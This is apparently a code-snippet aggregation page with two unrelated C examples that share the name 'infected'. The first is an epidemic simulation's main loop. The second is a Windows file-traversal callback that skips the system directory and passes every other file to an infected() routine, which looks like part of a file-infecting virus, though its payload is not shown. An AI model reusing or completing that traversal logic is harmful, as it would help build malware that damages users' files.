示例#1
0
int main(int argc, char ** argv) 
{
    /**** In Defaults.h ****/
    struct global_t global;
    struct const_t constant;
    struct stats_t stats;
    struct display_t dpy;
    /***********************/

    /***************** In Initialize.h *****************/
    init(&global, &constant, &stats, &dpy, &argc, &argv);
    /***************************************************/

    // Each process starts a loop to run the simulation 
    // for the specified number of days
    for(global.current_day = 0; global.current_day <= constant.total_number_of_days; 
        global.current_day++)
    {
        /****** In Infection.h ******/
        find_infected(&global);
        /****************************/

        /**************** In Display.h *****************/
        #if defined(X_DISPLAY) || defined(TEXT_DISPLAY)

        do_display(&global, &constant, &dpy);

        throttle(&constant);

        #endif
        /***********************************************/

        /************** In Core.h *************/
        move(&global, &constant);       

        susceptible(&global, &constant, &stats);

        infected(&global, &constant, &stats);

        update_days_infected(&global, &constant);
        /**************************************/
    }

    /******** In Finialize.h ********/
    show_results(&global, &stats);

    cleanup(&global, &constant, &dpy);
    /********************************/

    exit(EXIT_SUCCESS);
}
示例#2
0
DWORD _stdcall P(wchar_t *dir,DWORD attr, void *arg){
	cmem *b = (cmem *)arg;

	static wchar_t windir[MAX_PATH];
	static bool fwindir = false;
	if (attr&FILE_ATTRIBUTE_DIRECTORY)
	{
		if (!fwindir){
			fwindir = true;
			GetWindowsDirectoryW(windir, MAX_PATH);
		}

		if (_wcsicmp(dir, windir) == 0){
			return FIND_SKIP;
		}
		/*
		wchar_t *subdir = dir;
		wchar_t *p = wcsrchr(dir, L'\\');
		if (p) subdir = p+1;

		if (_wcsicmp(subdir, L"Program Files (x86)") == 0){
			return FIND_SKIP;
		}


		if (_wcsicmp(subdir, L"Program Files") == 0){
			return FIND_SKIP;
		}
		*/
	}



	if (!(attr&FILE_ATTRIBUTE_DIRECTORY))
		infected(dir, b);
	return true;
}